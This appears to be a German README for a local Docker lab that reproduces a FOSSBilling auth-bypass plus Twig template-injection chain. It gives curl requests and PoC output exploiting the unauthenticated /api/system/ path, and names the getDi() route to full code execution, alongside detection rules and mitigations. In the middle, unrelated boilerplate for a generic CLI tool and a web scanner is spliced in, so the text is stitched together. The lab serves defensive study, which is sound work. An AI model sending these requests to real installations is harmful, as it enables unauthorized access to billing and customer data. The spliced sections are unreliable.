
Docker-Lab zur Reproduktion der FOSSBilling-Pre-Auth-RCE-Kette (CVE-2026-27604 Auth-Bypass + CVE-2026-28496 Twig SSTI) mit einem Python-PoC und einem gepatchten Vergleichsziel.
| CVE | Typ | CVSS v4 | GHSA | Beschreibung |
|---|
| CVE-2026-27604 | Auth-Bypass | 10.0 | GHSA-78x5-c8gw-8279 | Fehlendes throw im API-Rollenprüfer legt Admin-Endpunkte für nicht authentifizierte Aufrufer offen |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Unsandboxed Twig-Template-Rendering über die string_render API |
FOSSBilling ist eine freie und quelloffene Billing- und Client-Management-Plattform. Die Versionen 0.5.4 bis 0.7.2 sind betroffen. FOSSBilling 0.8.0 behebt beide Schwachstellen.
Dieses Lab vergleicht zwei FOSSBilling-Versionen:
| Dienst | FOSSBilling-Version | Zweck | URL |
|---|---|---|---|
| vuln | 0.7.2 | Verwundbares Ziel | http://localhost:8081 |
| patched | 0.8.0 | Gepatchtes Ziel | http://localhost:8082 |
Die validierte Kette in diesem lokalen Lab ist:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
Das gepatchte Ziel (0.8.0) gibt zurück:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Das Lab ist bewusst auf lokale Docker-Dienste beschränkt. Es zielt nicht auf externe Systeme ab und enthält keine Web-Shells, Malware, Persistenz, externe Callbacks, Datenbank-Dumps oder destruktive Payloads.
Die Pre-Auth-RCE erfordert das Zusammenspiel beider Schwachstellen:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Dieses Lab demonstriert die Kette unter Verwendung des sicheren arithmetischen Beweises `{{ 7*7 }}`. Der vollständige RCE-Pfad über `getDi()` wird nicht demonstriert.
## Verifizierte Fakten
| Behauptung | Nachweis | Wie zu verifizieren |
| ----- | -------- | ------------- |
| CVE-2026-27604 ist ein Auth-Bypass in der Rollenverarbeitung der FOSSBilling-API. | GHSA-78x5-c8gw-8279: fehlendes throw im Rollenprüfer ermöglicht /api/system/ als Admin aufzulösen. | PoC ausführen: Gast-Pfad wird verweigert, System-Pfad liefert Admin-Ergebnis. |
| CVE-2026-28496 ist eine SSTI im FOSSBilling-Twig-Rendering. | GHSA-57mv-jm88-66jc: string_render übergibt _tpl an Twig createTemplate() ohne Sandbox. | PoC ausführen: Server wertet {{ 7*7 }} aus und liefert 49 zurück. |
| Beide Schwachstellen betreffen FOSSBilling 0.5.4 bis 0.7.2. | Öffentliche Advisories identifizieren den betroffenen Versionsbereich. | Verwundbares (0.7.2) und gepatchtes (0.8.0) Ziel vergleichen. |
| FOSSBilling 0.8.0 patcht beide Schwachstellen. | Gepatchtes Ziel liefert "Unknown API call" für den getesteten Endpunkt. | PoC gegen Port 8082 ausführen. |
| Der Auth-Bypass gewährt unauthentifizierten Admin-Zugriff. | /api/guest/ verweigert string_render; /api/system/ liefert das Ergebnis ohne Authentifizierung. | Stage 1 des PoC ausführen. |
| Die SSTI wertet angreiferkontrollierte Templates aus. | {{ 7*7 }} liefert 49 über den verwundbaren Pfad. | Stage 2 des PoC ausführen. |
| Die Kette ermöglicht Pre-Auth RCE. | Auth-Bypass + SSTI = unauthentifizierte Template-Injection mit Admin-Kontext. | Den vollständigen Ketten-PoC ausführen. |
| Der PoC ist HTTP-only. | poc.py sendet ausschließlich HTTP-POST-Anfragen. | poc/poc.py inspizieren. |
## Root-Cause-Analyse
### CVE-2026-27604: Auth-Bypass
Die FOSSBilling-API löst Rollen aus dem URL-Pfad auf:```text
/api/:role/:module/:method
Der Rollenprüfer validiert, ob die angeforderte Rolle zulässig ist. In verwundbaren Versionen wird die Ausnahme für nicht zulässige Rollen jedoch instanziiert, aber nie ausgelöst:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Da die Ausnahme nie ausgelöst wird, läuft die Validierung stillschweigend durch. Die Rolle `system` wird auf die Cron-Admin-Identität aufgelöst und gewährt jedem nicht authentifizierten Aufrufer vollständigen Admin-API-Zugriff.
Die Sicherheitsauswirkung:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
Die system-Rolle wird der internen Cron-Administratoridentität zugeordnet, die über vollständige administrative Berechtigungen verfügt.
Die Admin-API-Methode string_render empfängt _tpl aus den Anfragedaten und leitet es ohne Sandbox-Durchsetzung in die Twig-Template-Rendering-Pipeline weiter:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Die Methode `renderString()` fällt auf `createTemplateFromString()` zurück:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Das kritische Problem: createTemplate($tpl) erstellt ein Twig-Template aus dem vom Angreifer kontrollierten String und rendert es ohne Sandbox-Einschränkungen. Das Template hat Zugriff auf Objekte im Template-Kontext, einschließlich des Guest-API-Handlers, der getDi() bereitstellt.
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## Zusammenfassung des Quell-Patches
FOSSBilling 0.8.0 behebt beide Schwachstellen:
**Auth-Bypass-Fix (CVE-2026-27604):**
Der Rollenprüfer löst nun ordnungsgemäß die Ausnahme für nicht zugelassene Rollen aus.
**SSTI-Fix (CVE-2026-28496):**
Das Template-Rendering wird über einen sandboxed Renderer geleitet:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
Die Sandbox-Richtlinie blockiert standardmäßig Methoden- und Eigenschaftszugriffe:```php $methods = []; $properties = [];
Für den in diesem Lab getesteten öffentlichen API-Pfad stellt FOSSBilling 0.8.0 den getesteten Endpunkt überhaupt nicht bereit:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Eine Regressionprüfung auf Quellcodeebene bestätigt die tiefergehende Korrektur:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## Lab-Architektur```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Service | Komponente | Version / Rolle |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 verwundbares Ziel |
| patched | FOSSBilling | 0.8.0 gepatchtes Ziel |
| vuln-db | MariaDB | Datenbank für verwundbares Ziel |
| patched-db | MariaDB | Datenbank für gepatchtes Ziel |
| installer-vuln | curl Sidecar | installiert verwundbares Ziel automatisch |
| installer-patched | curl Sidecar | installiert gepatchtes Ziel automatisch |
Standardmäßig exponierte Dienste:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Die Installer-Sidecars werden während `docker compose up` automatisch ausgeführt. Sie initialisieren beide FOSSBilling-Ziele mit lokalen Wegwerf-Anmeldedaten und beenden sich dann.
## Anforderungen
* Docker Desktop oder Docker Engine
* Docker Compose v2
* Python 3
* Internetzugang beim ersten Docker-Image-Pull
Es wird kein Python-Paket von Drittanbietern benötigt. Der PoC verwendet ausschließlich Module aus der Python-Standardbibliothek.
## Schnellstart
Starten Sie das Lab aus einem sauberen Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Dienststatus prüfen:```bash docker compose ps -a
Erwartete laufende Dienste:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Erwartete abgeschlossene Installer-Dienste (Exit-Code 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Installer-Protokolle prüfen:```bash
docker compose logs installer-vuln installer-patched
Führen Sie die Kettenvalidierung gegen das verwundbare Ziel aus:```bash python3 poc/poc.py --url http://localhost:8081
Führen Sie die Kettenvalidierung gegen das gepatchte Ziel aus:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Beispiele:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
The PoC validiert beide CVEs in drei Stufen:
Stufe 1 — Auth-Bypass (CVE-2026-27604): Vergleicht den Gast-API-Pfad mit dem System-API-Pfad, um unauthentifizierten Admin-Zugriff nachzuweisen.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Stufe 2 — SSTI (CVE-2026-28496):**
Bestätigt die serverseitige Template-Auswertung über den umgangenen Admin-Endpunkt.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Stufe 3 — Chain-Bewertung: Fasst das kombinierte Chain-Ergebnis zusammen.
Das PoC ist HTTP-only. Es ruft weder Docker, Docker Compose, Shell-Befehle noch Container-APIs auf.
python3 poc/poc.py --url http://localhost:8081
| `-s` | `--server` | `SERVER` | `http://localhost:8080` | Server URL |
| `-t` | `--token` | `TOKEN` | – | API token |
| `-o` | `--output` | `FILE` | – | Output file |
| `-v` | `--verbose` | – | `false` | Verbose output |
| `-q` | `--quiet` | – | `false` | Quiet mode |
| `-f` | `--format` | `FORMAT` | `json` | Output format |
| `-c` | `--config` | `FILE` | – | Config file |
| `-n` | `--no-color` | – | `false` | Disable colors |
| `-y` | `--yes` | – | `false` | Auto-confirm |
| `-d` | `--debug` | – | `false` | Debug mode |
| `-h` | `--help` | – | – | Show help |
| `-V` | `--version` | – | – | Show version |
### Examples
```bash
# Basic usage
tool -s http://localhost:8080 -t abc123
# With output file
tool -s http://localhost:8080 -t abc123 -o results.json
# Verbose mode
tool -s http://localhost:8080 -t abc123 -v
# Custom format
tool -s http://localhost:8080 -t abc123 -f csv
server: http://localhost:8080
token: abc123
output: results.json
format: json
verbose: false
quiet: false
| Variable | Description | Default |
|---|---|---|
TOOL_SERVER | Server URL | http://localhost:8080 |
TOOL_TOKEN | API token | – |
TOOL_OUTPUT | Output file | – |
TOOL_FORMAT | Output format | json |
TOOL_VERBOSE | Verbose output | false |
TOOL_DEBUG | Debug mode | false |
| Code | Description |
|---|---|
0 | Success |
1 | General error |
2 | Invalid arguments |
3 | Connection error |
4 | Authentication error |
5 | Not found |
Connection refused
# Check if server is running
curl http://localhost:8080/health
# Check firewall
sudo ufw status
Authentication failed
# Verify token
echo $TOOL_TOKEN
# Test with curl
curl -H "Authorization: Bearer $TOOL_TOKEN" http://localhost:8080/api
Permission denied
# Check file permissions
ls -la /path/to/file
# Fix permissions
chmod 755 /path/to/file
This project is licensed under the MIT License - see the LICENSE file for details.
Scope: authorized local lab target only Target: http://localhost:8081
[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED
[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
### Gepatchtes Ziel (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082
| --config | Pfad zur Konfigurationsdatei (Standard: config.yaml) |
| --output | Ausgabeverzeichnis für Berichte (Standard: reports/) |
| --format | Ausgabeformat: json, html, csv (Standard: json) |
| --verbose | Ausführliche Ausgabe aktivieren |
| --quiet | Alle Ausgaben außer Fehlern unterdrücken |
# Grundlegende Ausführung mit Standardkonfiguration
python -m scanner --config config.yaml
# Ausführung mit benutzerdefiniertem Ausgabeverzeichnis und HTML-Bericht
python -m scanner --config config.yaml --output ./results --format html
# Ausführung im ausführlichen Modus
python -m scanner --config config.yaml --verbose
Die Konfigurationsdatei verwendet das YAML-Format. Ein Beispiel finden Sie unter config.example.yaml.
# Ziel-URLs
targets:
- https://example.com
- https://test.example.org
# Zu aktivierende Prüfmodule
checks:
headers: true
ssl: true
ports: true
dns: true
# Timeout-Einstellungen (Sekunden)
timeout: 30
# Anzahl gleichzeitiger Threads
threads: 10
# Ausgabeeinstellungen
output:
format: json
directory: reports
# Proxy-Einstellungen
proxy:
enabled: false
http: http://proxy.example.com:8080
https: https://proxy.example.com:8080
# Authentifizierung
auth:
type: basic
username: user
password: pass
# Benutzerdefinierte Header
headers:
User-Agent: "CustomScanner/1.0"
Accept: "application/json"
# Ausschlussliste für Ports
exclude_ports:
- 22
- 3389
Analysiert HTTP-Sicherheitsheader und identifiziert fehlende oder falsch konfigurierte Header.
Geprüfte Header:
Strict-Transport-SecurityContent-Security-PolicyX-Frame-OptionsX-Content-Type-OptionsReferrer-PolicyPermissions-PolicyÜberprüft die SSL/TLS-Konfiguration auf Schwachstellen und Fehlkonfigurationen.
Prüfungen umfassen:
Führt einen TCP-Port-Scan auf den Zielhosts durch.
Standard-Portbereich: 1-1000
Führt DNS-Abfragen durch und prüft auf Fehlkonfigurationen.
Prüfungen umfassen:
SPF-Eintrag
DMARC-Eintrag
DKIM-Eintrag
CAA-Eintrag```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## Manuelle HTTP-Reproduktion
### Auth-Bypass-Nachweis (CVE-2026-27604)
Gast-Pfad (sollte verweigert werden):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Systempfad (umgeht Authentifizierung):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### SSTI-Nachweis (CVE-2026-28496)
Die Systempfad-Antwort vom verwundbaren Ziel:```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Erwartete gepatchte Antwort:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Die Kette ermöglicht unauthentifizierte Remote-Code-Ausführung gegen FOSSBilling, eine Abrechnungs- und Kundenverwaltungsplattform, die möglicherweise Folgendes speichert:
Die demonstrierte Labor-Payload ist harmlos ({{ 7*7 }}). Die reale Auswirkungskette über getDi() und den DI-Container umfasst:
Ein einziger unauthentifizierter HTTP-POST reicht aus, um den DI-Container zu erreichen. Dieser PoC demonstriert diesen Pfad nicht.
Verdächtige Anforderungsmuster:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
Request-Body-Indikatoren:```text
_tpl, {{, }}, getDi, system, string_render
Hochsignal-Erkennungsregeln:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
Empfohlene Überwachungsmaßnahmen:
* Zugriffsprotokolle auf `/api/system/`-Anfragen prüfen
* Anfragen mit `_tpl` in JSON-Bodies prüfen
* Anfragen mit Twig-Syntax (`{{`, `}}`, `getDi`) prüfen
* Bei erfolgreichen Antworten auf `/api/system/` von externen IPs alarmieren
* Administratoraktivitäten prüfen, wenn eine Ausnutzung vermutet wird
* Templates, E-Mail-Templates und Massenmailer auf verdächtige Twig-Syntax prüfen
## Gegenmaßnahmen
FOSSBilling auf Version 0.8.0 oder höher aktualisieren.
Empfohlene Schritte:
* FOSSBilling auf 0.8.0 oder höher aktualisieren
* Externen Zugriff auf `/api/system/*` am Reverse-Proxy oder WAF blockieren
* API-Zugriff auf vertrauenswürdige Quell-IPs beschränken
* Alle Admin- und Client-API-Tokens rotieren
* Alle aktiven Sitzungen invalidieren
* Zugriffsprotokolle auf `/api/system/`-Anfragen prüfen
* E-Mail-Templates, Massenmailer und Zahlungsadapter auf verdächtige Twig-Syntax prüfen
* Secrets rotieren, wenn eine Ausnutzung vermutet wird
* Kunden-, Abrechnungs- und Serverdatensätze auf unbefugten Zugriff prüfen
Lektionen für das Security Engineering:
* In Autorisierungsprüfungen immer Exceptions werfen — Instanziierung ohne Exception ist eine stille Umgehung
* Keine nicht vertrauenswürdigen Template-Strings in einem privilegierten Anwendungskontext rendern
* Sandboxed Template-Rendering verwenden und Methoden-/Property-Zugriff standardmäßig verweigern
* DI-Container oder Service Locators nicht für Template-Kontexte offenlegen
* API-Autorisierungsfehler explizit halten und fail closed
## Nützliche Befehle```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## Sicherheitsgrenzen
Dieses Lab ist ausschließlich für lokale Sicherheitsforschung und kontrollierte Demonstrationen gedacht.
Führen Sie das PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben. Verwenden Sie in diesem Lab keine echten Produktionsanmeldedaten, Kundendaten oder API-Schlüssel.
Der vorgesehene Umfang ist beschränkt auf:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Das Lab demonstriert nicht:
CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling
FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling
Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html